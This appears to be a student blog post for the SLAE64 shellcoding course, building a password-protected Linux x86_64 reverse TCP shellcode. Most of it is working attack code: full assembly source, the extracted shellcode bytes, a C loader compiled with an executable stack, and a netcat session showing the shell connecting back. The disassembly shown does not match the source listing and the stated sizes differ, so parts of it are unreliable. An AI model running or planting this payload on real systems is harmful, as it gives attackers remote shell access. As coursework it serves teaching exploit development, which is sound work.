SLAE64
SLAE64

This post introduces my 2nd mission of my SLAE64 journey.

Introduction

The main goal for the second SLAE64 assignment is to develop a reverse TCP shellcode with the following requirements:

  • The reverse shell connects to the configured IP and port;
  • The user needs to provide a correct password
  • Executing a shell on incoming connection if the password is valid;
  • The shellcode should be null-free;

Creating a TCP Reverse Shellcode

There is a lot of overlap information with my post regarding the SLAE32 TCP Reverse Shellcode. I advise you to look at it if you haven’t done it already. There are some essential concepts and ideas to understand what and why the shellcode is doing.

For this assignment I took the TCP Bind Shellcode used during the course as a reference. The following is already changed to work with a custom password. The same as assignment 1 - SLAE64 TCP Reverse Shellcode

Marauder’s Map Password
Marauder's Map Password

The chosen password is again isolemnlyswearthatiamuptonogood.

This a 31-byte size string, but our buffer has 32 bytes in size because of the newline byte when we press enter key.

This time i’ll directly to the null byte-free shellcode. If you want to look for a more detailed analysis, please check the Nulls? Get out of here! section of the previous assignment.

Adding the ask password part to the final shellcode becomes as follows:

; Student ID   : PA-31319
; Student Name : Eduardo Silva
; Assignment 1 : TCP Reverse Shell (Linux/x86_64) Assembly
; File Name    : reverse-shell-password.nasm

global _start


_start:

        jmp main
        ask_pass: db "Tell me the passcode", 0xa

main:

	; sock = socket(AF_INET, SOCK_STREAM, 0)
	; AF_INET = 2
	; SOCK_STREAM = 1
	; syscall number 41 

        xor rsi, rsi
        mul rsi

	add rax, 41
        push byte 0x2
	pop rdi
	inc rsi
	;xor rdx, rdx 
	syscall

	; copy socket descriptor to rdi for future use 

	xchg rdi, rax


	; server.sin_family = AF_INET 
	; server.sin_port = htons(PORT)
	; server.sin_addr.s_addr = INADDR_ANY
	; bzero(&server.sin_zero, 8)

	xor rax, rax 

        push rax                ; pushing 0.0.0.0 into in_addr
        push word 0x2923        ;little endian -> 9001 = 0x2329
                                ; byte first ... 0x115C is 4444)
        push word 0x2           ; AF_INET - which is 0x02

        mov rsi, rsp            ; moving stack address to rsi


	; connect(sock, (struct sockaddr *)&server, sockaddr_len)
	
	xor rax, rax
	mov rdx, rax
	add rax, 42
	mov rsi, rsp
	add rdx, 16
	syscall


        ; duplicate sockets

        ; dup2 (new, old)

        xor rax, rax
	mov al, 33
        xor rsi, rsi
        syscall


        mov al, 33
        inc rsi
        syscall

        mov al, 33
        inc rsi
        syscall

        ; ############ asking for password ------------------------------

        password:

        ; sys_write
        ; rax : 1 - write syscall number
        ; rdi : unsigned int fd : 1 for stdout
        ; rsi : const char *buf : password buffer
        ; rdx : size_t count : password size
        xor rax, rax
        xor rdx, rdx ; or cqo??
        inc rax
        mov rdi, rax
        lea rsi, [rel ask_pass]
        mov dl, 21
        syscall


        ; sys_read
        ; rdi : unsigned int fd : 0 for stdin
        ; rsi : char *buf : stack?
        ; rdx : size_t count : how big

        xor rdx, rdx
        xor rax, rax
        xor rdi, rdi


        ; rax is already zero
        mov rsi, rsp
        add rdx, 32 ;password size
        syscall

        mov rdi, rsp
        xor rsi, rsi
        push rsi
        mov rsi, 0x0a646f6f676f6e6f ; \ndoogono  --> \n - new line byte = 0x0a
        push rsi
        mov rsi, 0x7470756d61697461 ; tpumaita
        push rsi
        mov rsi, 0x6874726165777379 ; htraewsy
        push rsi
        mov rsi, 0x6c6e6d656c6f7369 ; lnmelosi
        push rsi
        mov rsi, rsp                ; password buffer pointer
        xor rcx, rcx
        add rcx, 32                 ; 31 bytes for password and 1 byte for newline char
        repe cmpsb
        jne password


        ; ###### ------------------------------------------

        ; execve

        ; First NULL push

        xor rax, rax
        push rax

        ; push /bin//sh in reverse

        mov rbx, 0x68732f2f6e69622f
        push rbx

        ; store /bin//sh address in RDI

        mov rdi, rsp

        ; Second NULL push
        push rax

        ; set RDX
        mov rdx, rsp


        ; Push address of /bin//sh
        push rdi

        ; set RSI

        mov rsi, rsp

        ; Call the Execve syscall
        add rax, 59
        syscall

We can verify the shellcode does not have null bytes as shown below with objdump

objdump -M intel -d shell-bind-password

shell-bind-password:     file format elf64-x86-64


Disassembly of section .text:

0000000000401000 <_start>:
  401000:	eb 15                	jmp    401017 <main>

0000000000401002 <ask_pass>:
  401002:	54                   	push   rsp
  401003:	65 6c                	gs ins BYTE PTR es:[rdi],dx
  401005:	6c                   	ins    BYTE PTR es:[rdi],dx
  401006:	20 6d 65             	and    BYTE PTR [rbp+0x65],ch
  401009:	20 74 68 65          	and    BYTE PTR [rax+rbp*2+0x65],dh
  40100d:	20 70 61             	and    BYTE PTR [rax+0x61],dh
  401010:	73 73                	jae    401085 <password+0x9>
  401012:	63 6f 64             	movsxd ebp,DWORD PTR [rdi+0x64]
  401015:	65                   	gs
  401016:	0a                   	.byte 0xa

0000000000401017 <main>:
  401017:	48 31 f6             	xor    rsi,rsi
  40101a:	48 f7 e6             	mul    rsi
  40101d:	48 83 c0 29          	add    rax,0x29
  401021:	6a 02                	push   0x2
  401023:	5f                   	pop    rdi
  401024:	48 ff c6             	inc    rsi
  401027:	0f 05                	syscall 
  401029:	48 97                	xchg   rdi,rax
  40102b:	48 31 c0             	xor    rax,rax
  40102e:	50                   	push   rax
  40102f:	66 68 23 29          	pushw  0x2923
  401033:	66 6a 02             	pushw  0x2
  401036:	48 89 e6             	mov    rsi,rsp
  401039:	48 83 c2 10          	add    rdx,0x10
  40103d:	48 83 c0 31          	add    rax,0x31
  401041:	0f 05                	syscall 
  401043:	48 31 c0             	xor    rax,rax
  401046:	48 89 c2             	mov    rdx,rax
  401049:	48 83 c2 01          	add    rdx,0x1
  40104d:	48 83 c0 32          	add    rax,0x32
  401051:	0f 05                	syscall 
  401053:	48 31 c0             	xor    rax,rax
  401056:	48 89 c6             	mov    rsi,rax
  401059:	48 89 c2             	mov    rdx,rax
  40105c:	48 83 c0 2b          	add    rax,0x2b
  401060:	0f 05                	syscall 
  401062:	48 97                	xchg   rdi,rax
  401064:	4d 31 c9             	xor    r9,r9

0000000000401067 <loopin>:
  401067:	48 31 c0             	xor    rax,rax
  40106a:	48 83 c0 21          	add    rax,0x21
  40106e:	4c 89 ce             	mov    rsi,r9
  401071:	0f 05                	syscall 
  401073:	49 ff c1             	inc    r9
  401076:	49 83 f9 03          	cmp    r9,0x3
  40107a:	75 eb                	jne    401067 <loopin>

000000000040107c <password>:
  40107c:	48 31 c0             	xor    rax,rax
  40107f:	48 31 d2             	xor    rdx,rdx
  401082:	48 ff c0             	inc    rax
  401085:	48 89 c7             	mov    rdi,rax
  401088:	48 8d 35 73 ff ff ff 	lea    rsi,[rip+0xffffffffffffff73]        # 401002 <ask_pass>
  40108f:	b2 15                	mov    dl,0x15
  401091:	0f 05                	syscall 
  401093:	48 31 d2             	xor    rdx,rdx
  401096:	48 31 c0             	xor    rax,rax
  401099:	48 31 ff             	xor    rdi,rdi
  40109c:	48 89 e6             	mov    rsi,rsp
  40109f:	48 83 c2 20          	add    rdx,0x20
  4010a3:	0f 05                	syscall 
  4010a5:	48 89 e7             	mov    rdi,rsp
  4010a8:	48 31 f6             	xor    rsi,rsi
  4010ab:	56                   	push   rsi
  4010ac:	48 be 6f 6e 6f 67 6f 	movabs rsi,0xa646f6f676f6e6f
  4010b3:	6f 64 0a 
  4010b6:	56                   	push   rsi
  4010b7:	48 be 61 74 69 61 6d 	movabs rsi,0x7470756d61697461
  4010be:	75 70 74 
  4010c1:	56                   	push   rsi
  4010c2:	48 be 79 73 77 65 61 	movabs rsi,0x6874726165777379
  4010c9:	72 74 68 
  4010cc:	56                   	push   rsi
  4010cd:	48 be 69 73 6f 6c 65 	movabs rsi,0x6c6e6d656c6f7369
  4010d4:	6d 6e 6c 
  4010d7:	56                   	push   rsi
  4010d8:	48 89 e6             	mov    rsi,rsp
  4010db:	48 31 c9             	xor    rcx,rcx
  4010de:	80 c1 20             	add    cl,0x20
  4010e1:	f3 a6                	repz cmps BYTE PTR ds:[rsi],BYTE PTR es:[rdi]
  4010e3:	75 97                	jne    40107c <password>
  4010e5:	48 31 c0             	xor    rax,rax
  4010e8:	50                   	push   rax
  4010e9:	48 bb 2f 62 69 6e 2f 	movabs rbx,0x68732f2f6e69622f
  4010f0:	2f 73 68 
  4010f3:	53                   	push   rbx
  4010f4:	48 89 e7             	mov    rdi,rsp
  4010f7:	50                   	push   rax
  4010f8:	48 89 e2             	mov    rdx,rsp
  4010fb:	57                   	push   rdi
  4010fc:	48 89 e6             	mov    rsi,rsp
  4010ff:	48 83 c0 3b          	add    rax,0x3b
  401103:	0f 05                	syscall 

From the output we can verify the null bytes were gone effectively.

Compiling and Testing the Shellcode

To be easier to compile my shellcode scripts and get the size and the opcodes I’ll use the 64-bit version of assembler.sh.

Available in https://github.com/0xnibbles/slae_x86_64/blob/main/assembler.sh

Checking assembler.sh output

╭─edu@debian ~/Desktop/slae_x86_64/assignments/2-shell-reverse-tcp-password-shellcode ‹main●› 
╰─$ ../../assembler.sh reverse-shell-password.nasm 

[*] Compiling with NASM
[*] Linking
[*] Extracting opcodes
[*] Done


Shellcode size: 238

"\xeb\x15\x54\x65\x6c\x6c\x20\x6d\x65\x20\x74\x68\x65\x20\x70\x61\x73\x73\x63\x6f\x64\x65\x0a\x48\x31\xf6\x48\xf7\xe6\x48\x83\xc0\x29\x6a\x02\x5f\x48\xff\xc6\x0f\x05\x48\x97\x48\x31\xc0\x50\x66\x68\x23\x29\x66\x6a\x02\x48\x89\xe6\x48\x31\xc0\x48\x89\xc2\x48\x83\xc0\x2a\x48\x89\xe6\x48\x83\xc2\x10\x0f\x05\x48\x31\xc0\xb0\x21\x48\x31\xf6\x0f\x05\xb0\x21\x48\xff\xc6\x0f\x05\xb0\x21\x48\xff\xc6\x0f\x05\x48\x31\xc0\x48\x31\xd2\x48\xff\xc0\x48\x89\xc7\x48\x8d\x35\x8b\xff\xff\xff\xb2\x15\x0f\x05\x48\x31\xd2\x48\x31\xc0\x48\x31\xff\x48\x89\xe6\x48\x83\xc2\x20\x0f\x05\x48\x89\xe7\x48\x31\xf6\x56\x48\xbe\x6f\x6e\x6f\x67\x6f\x6f\x64\x0a\x56\x48\xbe\x61\x74\x69\x61\x6d\x75\x70\x74\x56\x48\xbe\x79\x73\x77\x65\x61\x72\x74\x68\x56\x48\xbe\x69\x73\x6f\x6c\x65\x6d\x6e\x6c\x56\x48\x89\xe6\x48\x31\xc9\x48\x83\xc1\x20\xf3\xa6\x75\x96\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05"

--------------------
[*] Hack the World!
--------------------

No null bytes appear in the shellcode. We are good to go and paste the shellcode to our shellcode.c program

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\xeb\x15\x54\x65\x6c\x6c\x20\x6d\x65\x20\x74\x68\x65\x20\x70\x61\x73\x73\x63\x6f\x64\x65\x0a\x48\x31\xf6\x48\xf7\xe6\x48\x83\xc0\x29\x6a\x02\x5f\x48\xff\xc6\x0f\x05\x48\x97\x48\x31\xc0\x50\x66\x68\x23\x29\x66\x6a\x02\x48\x89\xe6\x48\x31\xc0\x48\x89\xc2\x48\x83\xc0\x2a\x48\x89\xe6\x48\x83\xc2\x10\x0f\x05\x48\x31\xc0\xb0\x21\x48\x31\xf6\x0f\x05\xb0\x21\x48\xff\xc6\x0f\x05\xb0\x21\x48\xff\xc6\x0f\x05\x48\x31\xc0\x48\x31\xd2\x48\xff\xc0\x48\x89\xc7\x48\x8d\x35\x8b\xff\xff\xff\xb2\x15\x0f\x05\x48\x31\xd2\x48\x31\xc0\x48\x31\xff\x48\x89\xe6\x48\x83\xc2\x20\x0f\x05\x48\x89\xe7\x48\x31\xf6\x56\x48\xbe\x6f\x6e\x6f\x67\x6f\x6f\x64\x0a\x56\x48\xbe\x61\x74\x69\x61\x6d\x75\x70\x74\x56\x48\xbe\x79\x73\x77\x65\x61\x72\x74\x68\x56\x48\xbe\x69\x73\x6f\x6c\x65\x6d\x6e\x6c\x56\x48\x89\xe6\x48\x31\xc9\x80\xc1\x20\xf3\xa6\x75\x97\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05";

main() {

	printf("Shellcode Length: %d\n", strlen(code));
	int (*ret)() = (int(*)())code;

	ret();

}

Compiling with gcc and executing it

╭─edu@debian ~/Desktop/slae_x86_64/assignments/2-shell-reverse-tcp-password-shellcode ‹main●› 
╰─$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
shellcode.c:7:1: warning: return type defaults to ‘int’ [-Wimplicit-int]
 main() {
 ^~~~

╭─edu@debian ~/Desktop/slae_x86_64/assignments/2-shell-reverse-tcp-password-shellcode ‹main●› 
╰─$ ./shellcode 
Shellcode Length: 237

---------------

╭─edu@debian ~/Desktop/slae_x86_64/assignments/1-shell-bind-tcp-password-shellcode ‹main●› 
╰─$ nc -lvnp  9001         
listening on [any] 9001 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 44000
Tell me the passcode
hgdajhsd
Tell me the passcode
isolemnlyswearthatiamuptonogood
whoami
edu
id
uid=1000(edu) gid=1000(edu) ...

Oh yeah! We get a connection back and the spawn a shell if th epassword is correct!


This blog post has been created for completing the requirements of the x86_64 Assembly Language and Shellcoding on Linux (SLAE64): https://www.pentesteracademy.com/course?id=7

Student ID: PA-31319

All the source code files are available on GitHub at https://github.com/0xnibbles/slae_x86_64